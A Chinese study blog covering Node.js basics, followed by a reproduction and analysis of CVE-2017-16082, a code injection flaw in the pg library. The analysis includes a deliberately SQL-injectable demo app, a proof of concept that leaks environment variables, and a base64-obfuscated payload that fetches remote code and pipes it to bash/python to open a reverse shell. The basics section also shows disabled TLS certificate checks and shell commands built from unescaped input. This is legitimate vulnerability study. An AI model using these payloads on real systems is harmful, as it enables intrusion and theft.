模块
用 require
导入模块,可以使用相对路径或绝对路径,末尾的 .js
可以省略。
var foo1 = require('./foo');
var foo2 = require('./foo.js');
var foo3 = require('/home/user/foo');
var foo4 = require('/home/user/foo.js');
// foo1至foo4中保存的是同一个模块的导出对象。
require
还可以直接导入 json 文件:
var data = require('./data.json');
用 export
导出属性或方法,供别的模块 require
时使用。
exports.hello = function () {
console.log('Hello World!');
};
可以通过 module
改写 export
对象为函数。
module.exports = function () {
console.log('Hello World!');
};
Node.js 定义了一个特殊的 node_modules
目录用于存放模块。例如某个模块的绝对路径是 /home/user/hello.js
,在该模块中使用 require('foo/bar')
方式加载模块时,则 Node.js 依次尝试使用以下路径:
/home/user/node_modules/foo/bar
/home/node_modules/foo/bar
/node_modules/foo/bar
可以把文件夹当成一个模块来导入,被称为包(package)。
- /home/user/lib/
- cat/
head.js
body.js
index.js
以 index.js
作为入口模块时 require
可省略文件名,以下两例相等。
var cat = require('/home/user/lib/cat');
var cat = require('/home/user/lib/cat/index');
可用 package.json
指定入口模块。
{
"name": "cat",
"main": "./lib/main.js"
}
NPM
npm 在我的理解中作用相当于 python 的 pip ,建立了一个 Node.js 生态圈,开发者可以在里面上传和下载第三方的包。
在工程目录下打开终端,使用以下命令来下载三方包。
$ npm install argv
...
[email protected] node_modules\argv
下载好之后, argv
包就放在了工程目录下的 node_modules
目录中,因此在代码中只需要通过 require('argv')
的方式就好,无需指定三方包路径。
以上命令默认下载最新版三方包,如果想要下载指定版本的话,可以在包名后边加上 @<version>
。
NPM 还对 package.json
的字段做了扩展,允许在其中申明三方包依赖。因此,上边例子中的 package.json
可以改写如下:
{
"name": "node-echo",
"main": "./lib/echo.js",
"dependencies": {
"argv": "0.0.2"
}
}
这样处理后,在工程目录下就可以使用 npm install
命令批量安装三方包了。更重要的是,当以后项目上传到了 NPM 服务器,别人下载这个包时, NPM 会根据包中申明的三方包依赖自动下载进一步依赖的三方包。
文件操作
Node.js 对传统的 js 最大的升级就是支持了文件操作和网络编程。内置的 fs
模块对文件读写提供了强大的支持,不仅支持传统的同步文件读写,还支持颇具 js 特色的异步文件读写。
先从最简单的同步文件读写开始,实现一个简单的 copy 命令代码如下:
var fs = require('fs');
function copy(src, dst) {
fs.writeFileSync(dst, fs.readFileSync(src));
}
function main(argv) {
copy(argv[0], argv[1]);
}
main(process.argv.slice(2));
这种方法显而易见的就是先用 fs.readFileSync
把文件内容读到内存中,再用 fs.writeFileSync
写到新文件中。但如果一个文件过大,这种方法就会非常吃内存。 fs 模块为此提供了一种读写文件流的方法,使用文件流改写上面代码如下:
var fs = require('fs');
function copy(src, dst) {
fs.createReadStream(src).pipe(fs.createWriteStream(dst));
}
function main(argv) {
copy(argv[0], argv[1]);
}
main(process.argv.slice(2));
以上程序使用 fs.createReadStream
创建了一个源文件的只读数据流,并使用 fs.createWriteStream
创建了一个目标文件的只写数据流,并且用pipe
方法把两个数据流连接了起来。连接起来后发生的事情,说得抽象点的话,水顺着水管从一个桶流到了另一个桶。
Stream
基于事件机制工作,如上面代码中的 pipe
方法等同于:
var rs = fs.createReadStream(src);
var ws = fs.createWriteStream(dst);
rs.on('data', function (chunk) {
if (ws.write(chunk) === false) {
rs.pause();
}
});
rs.on('end', function () {
ws.end();
});
ws.on('drain', function () {
rs.resume();
});
fs
模块提供的 API 基本上可以分为以下三类:
- 文件属性读写。
其中常用的有
fs.stat
、fs.chmod
、fs.chown
等等。 -
文件内容读写。
其中常用的有
fs.readFile
、fs.readdir
、fs.writeFile
、fs.mkdir
等等。 -
底层文件操作。
其中常用的有
fs.open
、fs.read
、fs.write
、fs.close
等等。
Node.js 最精华的异步 IO 模型在 fs
模块里有着充分的体现,例如上边提到的这些 API 都通过回调函数传递结果。以 fs.readFile
为例:
fs.readFile(pathname, function (err, data) {
if (err) {
// Deal with error.
} else {
// Deal with data.
}
});
如上边代码所示,基本上所有 fs
模块 API 的回调参数都有两个。第一个参数在有错误发生时等于异常对象,第二个参数始终用于返回 API 方法执行结果。
此外, fs
模块的所有异步 API 都有对应的同步版本,用于无法使用异步操作时,或者同步操作更方便时的情况。同步 API 方法名的末尾多了一个 Sync
,如 fs.readFile
的同步版本就是 fs.readFileSync
。
网络操作
Node.js 也提供了许多网络编程的接口。
http
http 模块既可以用来作为服务端使用也可以用来作为客户端使用。作为服务端使用时,创建一个简单的 http 服务器代码如下:
var http = require('http');
http.createServer(function (request, response) {
response.writeHead(200, { 'Content-Type': 'text-plain' });
response.end('Hello World\n');
}).listen(8124);
以上程序创建了一个HTTP服务器并监听8124
端口。
http
模块创建的HTTP服务器在接收到完整的请求头后,就会调用回调函数。在回调函数中,除了可以使用 request
对象访问请求头数据外,还能把 request
对象当作一个只读数据流来访问请求体数据。
作为客户端使用时,发送一个 POST 请求的代码如下:
var options = {
hostname: 'www.example.com',
port: 80,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
};
var request = http.request(options, function (response) {});
request.write('Hello World');
request.end();
也可以更方便的创建一个 GET 请求:
http.get('http://www.example.com/', function (response) {});
当客户端发送请求并接收到完整的服务端响应头时,就会调用回调函数。在回调函数中,除了可以使用 response
对象访问响应头数据外,还能把 response
对象当作一个只读数据流来访问响应体数据。
Node.js 在处理从别的客户端或服务端收到的头字段时,都统一地转换为了小写字母格式,以便开发者能使用统一的方式来访问头字段,例如 headers['content-length']
。
https
https
模块与 http
模块极为类似,区别在于 https
模块需要额外处理 SSL 证书。
在服务端模式下,创建一个 HTTPS 服务器的示例如下。
var options = {
key: fs.readFileSync('./ssl/default.key'),
cert: fs.readFileSync('./ssl/default.cer')
};
var server = https.createServer(options, function (request, response) {
// ...
});
在客户端模式下,发起一个 HTTPS 客户端请求与 http
模块几乎相同,示例如下。
var options = {
hostname: 'www.example.com',
port: 443,
path: '/',
method: 'GET'
};
var request = https.request(options, function (response) {});
request.end();
但如果目标服务器使用的 SSL 证书是自制的,不是从颁发机构购买的,默认情况下 https
模块会拒绝连接,提示说有证书安全问题。在 options
里加入 rejectUnauthorized: false
字段可以禁用对证书有效性的检查,从而允许 https
模块请求开发环境下使用自制证书的 HTTPS 服务器。
net
net
模块可用于创建 Socket 服务器或 Socket 客户端。
使用Socket搭建一个 HTTP 服务器:
net.createServer(function (conn) {
conn.on('data', function (data) {
conn.write([
'HTTP/1.1 200 OK',
'Content-Type: text/plain',
'Content-Length: 11',
'',
'Hello World'
].join('\n'));
});
}).listen(80);
使用 Socket 发起 HTTP 客户端请求:
var options = {
port: 80,
host: 'www.example.com'
};
var client = net.connect(options, function () {
client.write([
'GET / HTTP/1.1',
'User-Agent: curl/7.26.0',
'Host: www.baidu.com',
'Accept: */*',
'',
''
].join('\n'));
});
client.on('data', function (data) {
console.log(data.toString());
client.end();
});
进程管理
使用 child_process
可以创建和控制子进程,该模块提供的API中最核心的是.spawn
,其余API都是针对特定使用场景对它的进一步封装,算是一种语法糖。
使用 child_process.exec
可以调用终端命令,比如调用系统的 cp 命令实现复制文件:
var child_process = require('child_process');
var util = require('util');
function copy(source, target, callback) {
child_process.exec(
util.format('cp -r %s/* %s', source, target), callback);
}
copy('a', 'b', function (err) {
// ...
});
异步编程
Node.js 最大的卖点——事件机制和异步 IO 。
回调 ≠ 异步,因为 JS 本身是单线程运行的。异步的本质是创建一个别的线程或进程,并与 JS 主线程并行地做一些事情,并在事情做完后通知 JS 主线程。典型的异步函数有 setTimeout
、 setInterval
以及 Node.js 提供的诸如 fs.readFile
之类的异步 API 。
另外,由于 JS 是单线程运行的, JS 在执行完一段代码之前无法执行包括回调函数在内的别的代码。也就是说,即使平行线程完成工作了,通知 JS 主线程执行回调函数了,回调函数也要等到 JS 主线程空闲时才能开始执行。以下就是这么一个例子。
function heavyCompute(n) {
var count = 0,
i, j;
for (i = n; i > 0; --i) {
for (j = n; j > 0; --j) {
count += 1;
}
}
}
var t = new Date();
setTimeout(function () {
console.log(new Date() - t);
}, 1000);
heavyCompute(50000);
-- Console ------------------------------
8520
本来应该在1秒后被调用的回调函数因为 JS 主线程忙于运行其它代码,实际执行时间被大幅延迟。
异步方式下,函数执行结果不是通过返回值,而是通过回调函数传递。
// 同步
var output = fn1(fn2('input'));
// Do something.
// 异步
fn2('input', function (output2) {
fn1(output2, function (output1) {
// Do something.
});
});
异步串行遍历数组:
(function next(i, len, callback) {
if (i < len) {
async(arr[i], function (value) {
arr[i] = value;
next(i + 1, len, callback);
});
} else {
callback();
}
}(0, arr.length, function () {
// All array items have processed.
}));
使用回调 + 递归的方式等一轮异步函数返回结果后才开始下一轮。
异步并行遍历数组:
(function (i, len, count, callback) {
for (; i < len; ++i) {
(function (i) {
async(arr[i], function (value) {
arr[i] = value;
if (++count === len) {
callback();
}
});
}(i));
}
}(0, arr.length, 0, function () {
// All array items have processed.
}));
与异步串行遍历的版本相比,以上代码并行处理所有数组成员,并通过计数器变量来判断什么时候所有数组成员都处理完毕了。
异步函数不能直接在函数外使用 try…catch… 语句捕获异常,而要在异步函数内捕获异常并通过回调函数传出:
function async(fn, callback) {
// Code execution path breaks here.
setTimeout(function () {
try {
callback(null, fn());
} catch (err) {
callback(err);
}
}, 0);
}
async(null, function (err, data) {
if (err) {
console.log('Error: %s', err.message);
} else {
// Do something.
}
});
-- Console ------------------------------
Error: object is not a function
但是如果调用多个异步函数,每个异步函数都写 try…catch… 语句会很冗余复杂,此时可以通过域(Domain)来全局捕获。
简单的讲,一个域就是一个 JS 运行环境,在一个运行环境中,如果一个异常没有被捕获,将作为一个全局异常被抛出。 Node.js 通过 process
对象提供了捕获全局异常的方法,示例代码如下:
process.on('uncaughtException', function (err) {
console.log('Error: %s', err.message);
});
setTimeout(function (fn) {
fn();
});
-- Console ------------------------------
Error: undefined is not a function
还可以调用 domain
模块,使用 .create
方法创建了一个子域对象,并通过 .run
方法进入需要在子域中运行的代码的入口点。而位于子域中的异步函数回调函数由于不再需要捕获异常,代码就能一下子瘦身很多。
function async(request, callback) {
// Do something.
asyncA(request, function (data) {
// Do something
asyncB(request, function (data) {
// Do something
asyncC(request, function (data) {
// Do something
callback(data);
});
});
});
}
http.createServer(function (request, response) {
var d = domain.create();
d.on('error', function () {
response.writeHead(500);
response.end();
});
d.run(function () {
async(request, function (data) {
response.writeHead(200);
response.end(data);
});
});
});
无论是通过 process
对象的 uncaughtException
事件捕获到全局异常,还是通过子域对象的 error
事件捕获到了子域异常,在 Node.js 官方文档里都强烈建议处理完异常后立即重启程序,而不是让程序继续运行。按照官方文档的说法,发生异常后的程序处于一个不确定的运行状态,如果不立即退出的话,程序可能会发生严重内存泄漏,也可能表现得很奇怪。这不是 JS 本身的 try...catch...
异常处理机制的问题,而是 Node.js 实现的问题。
CVE-2017-16082
这是个老洞了,不过当初因为不会 Node.js 所以并没有看懂,如今正好重新学习一下。
环境搭建
新建一个目录,然后进入目录下执行
npm install [email protected]
npm install koa
新建 index.js
,代码:
const Koa = require('koa')
const { Client } = require('pg')
const app = new Koa()
const client = new Client({
user: "f1sh",
password: "f1sh",
database: "postgres",
host: "127.0.0.1",
port: 5432
})
client.connect()
app.use(async ctx => {
ctx.response.type = 'html'
let id = ctx.request.query.id || 1
let sql = `SELECT * FROM "user" WHERE "id" = ${id}`
const res = await client.query(sql)
ctx.body = `<html>
<body>
<table>
<tr><th>id</th><td>${res.rows[0].id}</td></tr>
<tr><th>name</th><td>${res.rows[0].name}</td></tr>
<tr><th>score</th><td>${res.rows[0].score}</td></tr>
</table>
</body>
</html>`
})
app.listen(3000)
代码中使用 pg
连接 postgresql
,在查询时存在明显的 SQL 注入漏洞。
使用 vscode
打开目录,调试,在 node_modules/pg/lib/result.js
110行下断点,然后发送 poc :
curl http://127.0.0.1:3000/\?id\=1%3BSELECT%201%20AS%20%22%5C%27%2Bconsole.log\(process.env\)%5D%3Dnull%3B%2F%2F%22
F5 一次后可以看到 Function
的第三个参数 ctorBody
被注入了恶意代码,导致了RCE,控制台输出了 process.env
环境变量信息:
漏洞分析
在 node_modules/pg/lib/connect.js
348行起:
switch (this._reader.header) {
...
case 0x54: // T
return this.parseT(buffer, length)
...
}
在解析 postgresql 的返回包时, this._reader.header
等于 T 的时候,就进入 parseT
方法。 postgresql 返回包中的 T message 返回的是 Row description
,也就是返回的字段数和字段名。
跟进 parseT
方法,在同文件的464行起:
var ROW_DESCRIPTION = 'rowDescription'
Connection.prototype.parseT = function (buffer, length) {
var msg = new Message(ROW_DESCRIPTION, length)
msg.fieldCount = this.parseInt16(buffer)
var fields = []
for (var i = 0; i < msg.fieldCount; i++) {
fields.push(this.parseField(buffer))
}
msg.fields = fields
return msg
}
这里触发了一个 rowDescription
消息,把返回包中的字段信息包括字段名、字段类型等都 parse 之后赋值给了 msg.fields
。
而在 node_modules/pg/lib/clent.js
211行起,监听了 rowDescription
消息:
Client.prototype._attachListeners = function (con) {
const self = this
// delegate rowDescription to active query
con.on('rowDescription', function (msg) {
self.activeQuery.handleRowDescription(msg)
})
...
}
这里使用 handleRowDescription
方法处理 msg ,跟进 handleRowDescription
方法,在 node_modules/pg/lib/query.js
77行起:
Query.prototype.handleRowDescription = function (msg) {
this._checkForMultirow()
this._result.addFields(msg.fields)
this._accumulateRows = this.callback || !this.listeners('row').length
}
这里将之前 parse 的字段信息 msg.fields
传入了 addFields
方法。
跟进 addFields
,在 node_modules/pg/lib/result.js
90行起:
Result.prototype.addFields = function (fieldDescriptions) {
// clears field definitions
// multiple query statements in 1 action can result in multiple sets
// of rowDescriptions...eg: 'select NOW(); select 1::int;'
// you need to reset the fields
if (this.fields.length) {
this.fields = []
this._parsers = []
}
var ctorBody = ''
for (var i = 0; i < fieldDescriptions.length; i++) {
var desc = fieldDescriptions[i]
this.fields.push(desc)
var parser = this._getTypeParser(desc.dataTypeID, desc.format || 'text')
this._parsers.push(parser)
// this is some craziness to compile the row result parsing
// results in ~60% speedup on large query result sets
ctorBody += inlineParser(desc.name, i)
}
if (!this.rowAsArray) {
this.RowCtor = Function('parsers', 'rowData', ctorBody)
}
}
可以看到在这个方法中循环把字段名 desc.name
传入 inlineParser
方法处理后拼接到了 ctorBody
变量中,而这个变量又在下面带入了 Function
类的最后一个参数。
这个 Function
类其实就相当于 PHP 中的 create_function
函数,定义了一个新的方法,前几个参数是传入这个方法的参数,而最后一个参数就是这个参数实际执行的代码,示例如下:
var sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 6));
// expected output: 8
所以假如我们可以控制 ctorBody
变量,就相当于我们控制了 this.RowCtor
方法执行的代码,也就造成了代码注入。那么跟入 inlineParser
方法看看是如何处理返回的字段名的,在同一个文件的77行起:
var inlineParser = function (fieldName, i) {
return "\nthis['" +
// fields containing single quotes will break
// the evaluated javascript unless they are escaped
// see https://github.com/brianc/node-postgres/issues/507
// Addendum: However, we need to make sure to replace all
// occurences of apostrophes, not just the first one.
// See https://github.com/brianc/node-postgres/issues/934
fieldName.replace(/'/g, "\\'") +
"'] = " +
'rowData[' + i + '] == null ? null : parsers[' + i + '](rowData[' + i + ']);'
}
可以看到仅仅只是把字段名中的 '
替换成了 \'
,然后就拼接到了代码之中。这里就有一个很大问题,如果我们传入的字段名中含有的是 \'
,那么经过替换就成了 \\'
,也就是反斜杠本身被转义了,而单引号并没有受到影响,我们就逃逸除了单引号可以任意写代码了。
那我们怎么控制字段名呢?如果代码中存在注入的话,我们就可以使用 AS
来定义字段名。但这里要注意的是如果使用的是 UNION 语句,返回的字段名实际是 UNION 前的语句的字段名,我们并不一定可控。所幸 pg 这个包支持多语句执行,所以只要使用分号结束上一条语句,就可以任意写第二条语句了。
所以 poc 中传入的是:
1;SELECT 1 AS "\'+console.log(process.env)]=null;//"
这里先闭合了上一条语句,然后在第二条语句中使用 AS 把首字段名定义为了
\'+console.log(process.env)]=null;//
经过替换后拼接到代码中就是:
this['\\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);
先从前面的单引号中逃逸出来,又注释掉了后面的语句,成功注入了 console.log(process.env)
。
那么这里已经存在任意代码执行了,我们可以上升到任意命令执行吗?如果是前端的 js 的话只能造成 XSS ,但是因为这是 Node.js ,所以我们是可以上升到命令执行的。
在我前面的笔记中也提到了,在 Node.js 中可以引入 child_process
包,其中的 child_process.exec
方法可以调用终端命令。那么利用思路就很明确了。
但是这里还存在几个小问题:
- 单双引号都不能正常使用,可以使用反引号代替
-
Function 环境下没有 require 函数,直接使用
require('child_process')
会报错:但我们可以通过使用
process.mainModule.constructor._load
来代替 require -
一个 fieldName 只能有64位长度,但是在之前的代码中可以看到
ctorBody
变量是用所有字段名拼接而成的,所以通过多个 fieldName 拼接来完成利用
最后的payload为:
1;SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo Y3VybCB0b29scy5mMX`+/*", 4 AS "*/`NoLnNpdGV8cHl0aG9uMg==|base64 -D|bash`);//"
定义了四个字段。
下个断点可以看到最后注入的代码为:
this['\\']=0;require=process.mainModule.constructor._load;/*'] = rowData[0] == null ? null : parsers[0](rowData[0]);
this['*/p=require(`child_process`);/*'] = rowData[1] == null ? null : parsers[1](rowData[1]);
this['*/p.exec(`echo Y3VybCB0b29scy5mMX`+/*'] = rowData[2] == null ? null : parsers[2](rowData[2]);
this['*/`NoLnNpdGV8cHl0aG9uMg==|base64 -D|bash`);//'] = rowData[3] == null ? null : parsers[3](rowData[3]);
这里通过多个字段名的拼接,再把中间不需要的部分用 /**/
给注释掉,就绕过了长度的限制,整理一下最后注入的代码为:
this['\\'] = 0;
require = process.mainModule.constructor._load;
p = require(`child_process`);
p.exec(`echo Y3VybCB0b29scy5mMX` + `NoLnNpdGV8cHl0aG9uMg==|base64 -D|bash`);
成功引入了 child_process
库并执行了命令反弹 shell :